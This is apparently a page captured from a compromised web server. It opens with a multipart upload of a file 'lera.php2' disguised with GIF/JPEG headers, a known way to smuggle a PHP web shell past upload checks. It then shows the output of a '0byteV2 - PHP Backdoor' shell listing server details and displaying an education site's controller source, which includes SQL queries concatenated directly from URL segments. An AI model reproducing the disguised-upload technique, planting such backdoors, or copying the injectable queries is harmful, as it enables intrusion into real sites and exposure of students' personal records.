------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/bcvps.in/application/controllers/
load->library('pdf'); } public function index() { $this->load->library('pdf'); $header_image= 'background-mage/Admission.JPG'; // define some HTML content with style $html = << body { background-image: url("background-mage/Admission.JPG"); background-repeat: no-repeat; background-size: 1000px 600px; } EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // add a page //$pdf->AddPage(); //echo $html; $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape //$this->pdf->setPaper('A4','landscape');//landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } public function generate_card() { $this->load->library('pdf'); if(empty($this->uri->segment(3))){ redirect('admin/student_list'); } $header_image= 'background-mage/ADMIT-CARD-BG.png'; $stu = $this->db->query("SELECT *,s.id as id,s.name as student_name FROM students s left join session_year se on s.batch=se.id left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join blood_group on blood_group.BG_ID=s.blood_group left join batch_session on batch_session.BATCH_ID=s.Batch where s.id = '".@$this->uri->segment(3)."'"); $stu_num=$stu->num_rows(); $s = $stu->row(); $date=date('d/m/Y',strtotime(@$s->dob)); $start=$s->start; $end=$s->end; $photo= ''; $photo.='uploads/'.$s->photo; $photo_url =''; $photo_url.=''; $base_url = 'www.vhtecindia.com'; $header_image= 'background-mage/FINAL-IMAGE.png'; // define some HTML content with style $html = << ADMIT CARD - $s->student_name
Name: $s->student_name
Father Name: $s->father
Blood Group :$s->BG_NAME
Course Name:$s->course_name
Batch:$s->BATCH_NAME
Enroll No:$s->enrollment_no
Branch:$s->institute_name

$photo_url
EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // add a page //$pdf->AddPage(); //echo $html; $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape //$this->pdf->setPaper('A4','landscape');//landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } public function admission_form() { $this->load->library('pdf'); if(empty($this->uri->segment(3))){ redirect('admin/student_list'); } $row=$this->db->query('select *,s.name as name, s.dob as dateofbirth from students s left join centers c on s.center_id=c.id left join courses co on co.id=s.course_id left join session_year se on se.id=s.batch left join session_year ses on ses.id=s.session left join state st on st.STATE_ID=s.state left join city ci on ci.id=s.city left join brand on brand.id=s.category left join batch_session on batch_session.BATCH_ID=s.Batch left join business_list on business_list.BUSSINESS_ID=s.occupation left join medium_list on medium_list.MEDIUM_ID=s.medium left join gender on gender.GENDER_ID= s.gender left join district on district.DISTRICT_ID= s.distric left join religion on religion.RELIGION_ID=s.religion left join marital_status on marital_status.MS_ID=s.marrital_status left join country on country.COUNTRY_ID=s.nationality left join blood_group on blood_group.BG_ID=s.blood_group left join languages on languages.id=s.mother_tongue where s.id="'.@$this->uri->segment(3).'"')->row(); if(empty($row)){ redirect('admin/student_list'); } $date_of_birth = date("d-m-Y", strtotime($row->dateofbirth)); $header_image= 'background-mage/Admission.JPG'; if($row->status==0){ $status= 'CANCEL'; } elseif($row->status==1){ $status= 'APPROVE'; } $date=date('d/m/Y',strtotime(@$row->dob)); $start=$row->start; $end=$row->end; $addmission_date = date('d/m/Y',strtotime(@$row->addmission_date)); $tenth_url= ''; $tenth_url.='uploads/'.$row->tenth_marksheet; $tenth =''; if($row->tenth_marksheet!=''){ $tenth.=''; } $photo= ''; $photo.='uploads/'.$row->photo; $photo_url =''; $photo_url.=''; $twelve_url= ''; $twelve =''; $twelve_url.='uploads/'.$row->twelve_marksheet; if($row->tenth_marksheet!=''){ $twelve.=''; } $graduation_url= ''; $graduation_url.='uploads/'.$row->graduation_marksheer; $graduation =''; if($row->graduation_marksheer!=''){ $graduation.=''; } $graduation_degree_url= ''; $graduation_degree_url.='uploads/'.$row->graduation_degree; $graduation_degree =''; if($row->graduation_degree!=''){ $graduation_degree.=''; } // define some HTML content with style $html = <<ADMISSION FORM- $row->name
Admission Date Academy Course Batch Session
$addmission_date $row->brand_name $row->course_name $row->BATCH_NAME $start-$end
Instiute Name Student Name Email-ID Mobile No Date of Birth
$row->institute_name $row->name $row->email $row->mobile $date_of_birth
Mother Name Father Name Parent Occupation Medium Address
$row->mother $row->father $row->BUSINESS_NAME $row->MEDIUM_NAME $row->address
Pincode Country State City Gender
$row->pincode INDIA $row->STATE_NAME $row->DISTRICT_NAME $row->GENDER_NAME
Martial Status Nationality Blood Group Mother Tongue Religion
$row->MS_NAME INDIAN $row->BG_NAME $row->language $row->RELIGION_NAME

Educational Qualification

Qualification Reg No. Subject Board/University Year of Completion Percentage of Marks
$row->highest_qualification $row->reg_no $row->subject $row->board $row->passing_year $row->marks%

Documents

Passport Size Photo Graph 10th Mark sheet 12th Mark sheet Graduation Mark sheet Others Degree
$photo_url
$tenth
$twelve
$graduation
$graduation_degree
EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // add a page //$pdf->AddPage(); //echo $html; $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape //$this->pdf->setPaper('A4','landscape');//landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } public function demo_testing() { $this->load->library('pdf'); $profile=$this->db->get('profile')->row(); $admit = $this->db->query("SELECT * FROM admit_card where id = '".$this->uri->segment(3)."'"); $admit_num=$admit->num_rows(); $admit_row=$admit->row(); $stu = $this->db->query("SELECT *,s.id as id FROM students s left join session_year se on s.batch=se.id LEFT JOIN batch_session ON batch_session.BATCH_ID=students.Batch where enrollment_no = '".$admit_row->enrollment_no."'"); $stu_num=$stu->num_rows(); if($stu_num>0 && $admit_num>0) { $s = $stu->row(); $a = $this->db->query("SELECT * FROM admit_card where id = '".$this->uri->segment(3)."'")->row(); $c = $this->db->query("SELECT * FROM centers where id = '".$s->center_id."'")->row(); $course = $this->db->query("SELECT * FROM courses where id = '".$s->course_id."'")->row(); if( @$course->course_name != ''){ $course_name = $course->course_name; }else{ $course_name = 'Not Available'; } $exam=$this->db->query("select *,a.type as type,a.id as exam_id,s.id as subject_id from Assign_exam_student a left join exam_schedule e on e.id=a.exam_id left join subjects s on a.subject_id=s.id where a.student_id='".$s->id."'")->result(); } $header_image= 'background-mage/ADMIT-CARD.jpg'; $date=date('d/m/Y',strtotime($s->dob)); $photo= ''; $photo.='uploads/'.$s->photo; $logo =''; $logo .= ''; $bill_list = ''; $i=1; foreach($exam as $row){ if($row->type==1){ $type='PRACTICAL'; }else{ $type=''; } $bill_list .= ''; $bill_list .= ' '.$i .' '.$row->SUBJECT_CODE.' '.$row->subject_name.' '.$type.' '.date('d/m/Y',strtotime($row->exam_date)).' '. $row->start_time.' '.$row->end_time.''; $bill_list .= ' '; $i++; } $link= ''; $header_image= 'background-mage/ADMIT-CARD.jpg'; // define some HTML content with style $html = << body { background-image: url("$header_image"); background-repeat: no-repeat; background-size: 1000px 600px; } ADMIT CARD - $s->name
Roll no : $a->roll_no Enroll No : $s->enrollment_no
Course : $course_name Batch : $s->start- $s->end
Student's Name : $s->name DOB : $date
Father's Name : $s->father; Mother's Name : $s->mother
Examination Center : $c->institute_name
$bill_list
Sr. No : Subject Code. No : Subject Name : Date Start Time End Time
NOTE :
1. Please Check Name, Father & Mother Name etc. If you found any incorrect entry in this admit card, you can represent immediately. Correction will not be entertained after completion of exam.
2. Students should carefully fill the Roll Number, Subject Code etc.in the Answer book
3. Students should not write his/her name or any identity in any part of the Answer Book.
4. Students will bring his/her Admit Card during the examination and must produce the same when asked for.
5. Students should not bring any slip/book/scripts in the examination hall otherwise they will be booked under unfair means.
6. In case of loss of Admit Card, Duplicate Admit Card can be issued from the office of Controller of Examinations with the Payment of Rs 50/- with certified photograph.
EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape //$this->pdf->setPaper('A4','landscape');//landscape $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } public function admit_card() { $this->load->library('pdf'); $profile=$this->db->get('profile')->row(); $admit = $this->db->query("SELECT * FROM admit_card LEFT JOIN courses ON courses.id=admit_card.course_id where admit_card.id = '".$this->uri->segment(3)."'"); $admit_num=$admit->num_rows(); $admit_row=$admit->row(); $stu = $this->db->query("SELECT *,s.id as id FROM students s left join session_year se on s.batch=se.id LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where enrollment_no = '".$admit_row->enrollment_no."'"); $stu_num=$stu->num_rows(); if($stu_num>0 && $admit_num>0) { $s = $stu->row(); $a = $this->db->query("SELECT * FROM admit_card where id = '".$this->uri->segment(3)."'")->row(); $c = $this->db->query("SELECT * FROM centers where id = '".$s->center_id."'")->row(); $course = $this->db->query("SELECT * FROM courses where id = '".$admit_row->course_id."'")->row(); if( @$course->course_name != ''){ $course_name = $course->course_name; }else{ $course_name = 'Not Available'; } if( @$course->type == 1){ $course_duration = ''.$course->duration.' -Months'; }else{ $course_duration = ''.$a->year.' -Year'; } $exam=$this->db->query("select *,a.type as type,a.id as exam_id,s.id as subject_id,a.year AS ENROLL_YEAR from Assign_exam_student a left join exam_schedule e on e.id=a.exam_id left join subjects s on a.subject_id=s.id where a.student_id='".$s->id."' AND a.year='".$a->year."' ")->result(); } $header_image= 'background-mage/ADMIT-CARD.jpg'; $date=date('d/m/Y',strtotime($s->dob)); $photo= ''; $photo.='uploads/'.$s->photo; $logo =''; $logo .= ''; $bill_list = ''; $i=1; foreach($exam as $row){ if($row->type==1){ $type='PRACTICAL'; }else{ $type=''; } $bill_list .= ''; $bill_list .= ' //$time_in_12_hour_format = date("g:i a", strtotime("13:30")); '.$i .' '.$row->SUBJECT_CODE.' '.$row->subject_name.' '.$type.' '.date('d/m/Y',strtotime($row->exam_date)).' '.date("g:i A", strtotime($row->start_time)) .' '.date("g:i A", strtotime($row->end_time)) .''; $bill_list .= ' '; $i++; } $link= ''; $header_image= 'background-mage/ADMIT-CARD.jpg'; // define some HTML content with style $html = << ADMIT CARD - $s->name
Roll no : $a->roll_no Enroll No : $s->enrollment_no
Course/Duration : $course_name / $course_duration Batch : $s->BATCH_NAME
Student's Name : $s->name DOB : $date
Father's Name : $s->father; Mother's Name : $s->mother
Examination Center : $c->institute_name
$bill_list
Sr. No : Subject Code : Subject Name : Date Start Time End Time
NOTE :
1. Please Check Name, Father & Mother Name etc. If you found any incorrect entry in this admit card, you can represent immediately. Correction will not be entertained after completion of exam.
2. Students should carefully fill the Roll Number, Subject Code etc.in the Answer book
3. Students should not write his/her name or any identity in any part of the Answer Book.
4. Students will bring his/her Admit Card during the examination and must produce the same when asked for.
5. Students should not bring any slip/book/scripts in the examination hall otherwise they will be booked under unfair means.
6. In case of loss of Admit Card, Duplicate Admit Card can be issued from the office of Controller of Examinations with the Payment of Rs 50/- with certified photograph.
EOF; try { $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); // $this->pdf->set_paper($customPaper); $this->pdf->setPaper('A4','portrait');//landscape // $this->pdf->setPaper('A4','landscape'); //landscape // echo $html; // die; $this->pdf->render(); $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } catch(\Throwable $th) { print_r($th->__toString());die; } } public function result() { $this->load->library('pdf'); $result = $this->db->query("SELECT * FROM results where id = '".$this->uri->segment(3)."'"); $results=$result->row(); $result_array=$result->result(); if($results->year==1){ $year_name='FIRST YEAR'; }elseif($results->year==2){ $year_name='SECOND YEAR'; } elseif($results->year==3){ $year_name='THIRD YEAR'; }elseif($results->year==4){ $year_name='FOURTH YEAR'; }elseif($results->year==5){ $year_name='FIFTH YEAR'; }else{ $year_name=''; } $__R = $result->row(); // die(var_dump($__R); // die(var_dump($__R)); $course = $this->db->query("SELECT * FROM courses where id = '".$__R->course_id."'")->row(); $course_id=$__R->course_id; $enrollment_no=$__R->enrollment_no; $stu = $this->db->query("SELECT * FROM students s left join session_year se on se.id=s.session where s.enrollment_no = '".$__R->enrollment_no."' "); // echo $stu->num_rows(); $__S = $stu->row(); //print_r($__S); $institute = $this->db->query("SELECT * FROM centers where id = '".$__S->center_id."'")->row(); $marks = $this->db->query("SELECT * FROM marks_table where result_id = '".$this->uri->segment(3)."'"); $header_image= ''; $logo =''; // $logo .= ' // //
//
//
//
// //
//
//
//
//
// // '; $bill_list = ''; $bill_list .= // die(var_dump("SELECT * FROM marks_table where result_id = '".$this->uri->segment(3)."'")); $rows = $marks->num_rows()+1; $i=1; $ttl=0; $tot=0; $tot_practical=0; $tot_marks=0; $grand_ttl=0; $grand_total=0; foreach($marks->result() as $mm){ $sub = $this->db->query("SELECT * FROM subjects where id = '".$mm->subject_id."'")->row(); $total_marks= @$sub->max_marks + @$sub->practical_max_marks; $ob_marks=@$mm->marks + @$mm->practical_marks; $bill_list .= ' '.@$i.' '.@$sub->subject_name.' '.@$sub->max_marks.' '.@$sub->min_marks.' '.@$mm->marks.' '.@$sub->practical_max_marks.' '.@$sub->practical_min_marks.' '.@$mm->practical_marks.' '.@$total_marks.' '.@$ob_marks.' '; $ttl+=$mm->marks; $tot+=$sub->max_marks; $tot_practical+=$sub->practical_max_marks; $tot_marks+=$mm->practical_marks; $grand_ttl+=$ob_marks; $grand_total+=$total_marks; $i++; } $bill_list .= 'GRAND TOTAL'.$tot.''.$ttl.''.$tot_practical.''.$tot_marks.''.$grand_total.''.$grand_ttl.''; // echo $bill_list; $division=''; $x=($grand_ttl/$grand_total)*100; if($x<33 ) { $division.= '

RESULT : FAILED

'; } elseif($x>=33 && $x<45){ $division.='

RESULT : PASSED WITH THIRD DIVISION

'; } elseif($x>=45 && $x<60){ '

RESULT : PASSED WITH SECOND DIVISION

'; } elseif($x>=60 && $x<75){ $division.='

RESULT : PASSED WITH FIRST DIVISION

'; }elseif($x>=75){ $division.='

RESULT : PASSED WITH HOUNOURS

'; } $result_list=''; if(@$course->type==2){ $result_list .= $cur_year=$__R->year; $pre_year=$cur_year-1; $get_marks=$this->db->query('select * from results where course_id="'.$course_id.'" and enrollment_no="'.$enrollment_no.'"')->result(); if($pre_year!=0){ $result_list .= '
'; $result_list .= $years=1; foreach($get_marks as $row){ if($years<=$__R->year){ $markss = $this->db->query("SELECT * FROM marks_table where result_id = '".$row->id."' and year ='".$years."'"); $rowss = $markss->num_rows()+1; $is=1; $ttls=0; $tots=0; $tot_practicals=0; $tot_markss=0; $grand_ttls=0; $grand_totals=0; foreach($markss->result() as $mmm){ $subs = $this->db->query("SELECT * FROM subjects where id = '".$mmm->subject_id."'")->row(); $total_markss= @$subs->max_marks + @$subs->practical_max_marks; $ob_markss=@$mmm->marks + @$mmm->practical_marks; $ttls+=$mmm->marks; $tots+=$sub->max_marks; $tot_practicals+=$sub->practical_max_marks; $tot_markss+=$mm->practical_marks; $grand_ttls+=$ob_markss; $grand_totals+=$total_markss; } $result_list .= ''; $result_list .= $years++; } } $result_list .='
YEAR MAXIMUM MARKS OBTAINED MARKS
'.$row->year.' '. $grand_totals.' '. $grand_ttls.'
'; }} // define some HTML content with style $html = <<
ROLL NO. : $__R->roll_no ENROLLMENT NO. : $__S->enrollment_no SESSION : $__S->start-$__S->end

STATEMENT OF MARKS

$course->course_name

$year_name

     
NAME. : $__S->nameS/O,D/O : $__S->father
INSTITUTE NAME : :($institute->center_number) $institute->institute_name

$bill_list
PAPER SUBJECT NAME THEORY PRACTICAL TOTAL
Max Marks Min Marks Obtain Marks Max Marks Min Marks Obtain Marks Max Marks Obtain Marks
$division $result_list
EOF; // output the HTML content //$pdf->writeHTML($html, true, false, true, false, ''); // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - // add a page //$pdf->AddPage(); echo $html; // $this->pdf->loadHtml($html); // $customPaper = array(0,0,570,570); //$this->pdf->set_paper($customPaper); // $this->pdf->setPaper('A4','portrait');//landscape //$this->pdf->setPaper('A4','landscape');//landscape // $this->pdf->render(); // $this->pdf->stream("abc.pdf", array('Attachment'=>0)); //'Attachment'=>0 for view and 'Attachment'=>1 for download file } public function print_certificate(){ $this->load->library('pdf'); $student=$this->db->query("SELECT * FROM students where id = '".@$this->uri->segment(3)."' ")->row(); $result = $this->db->query("SELECT * FROM student_certificate where enrollment_no = '".@$student->enrollment_no."' ")->row(); $course=$this->db->query("SELECT * FROM courses where id = '".@$student->course_id."' ")->row(); // $result = $this->db->query("SELECT * FROM results where id = '".@$this->uri->segment(3)."' ")->row(); // $student=$this->db->query("SELECT * FROM students where enrollment_no = '".@$result->enrollment_no."' ")->row(); // $course=$this->db->query("SELECT * FROM courses where id = '".@$student->course_id."' 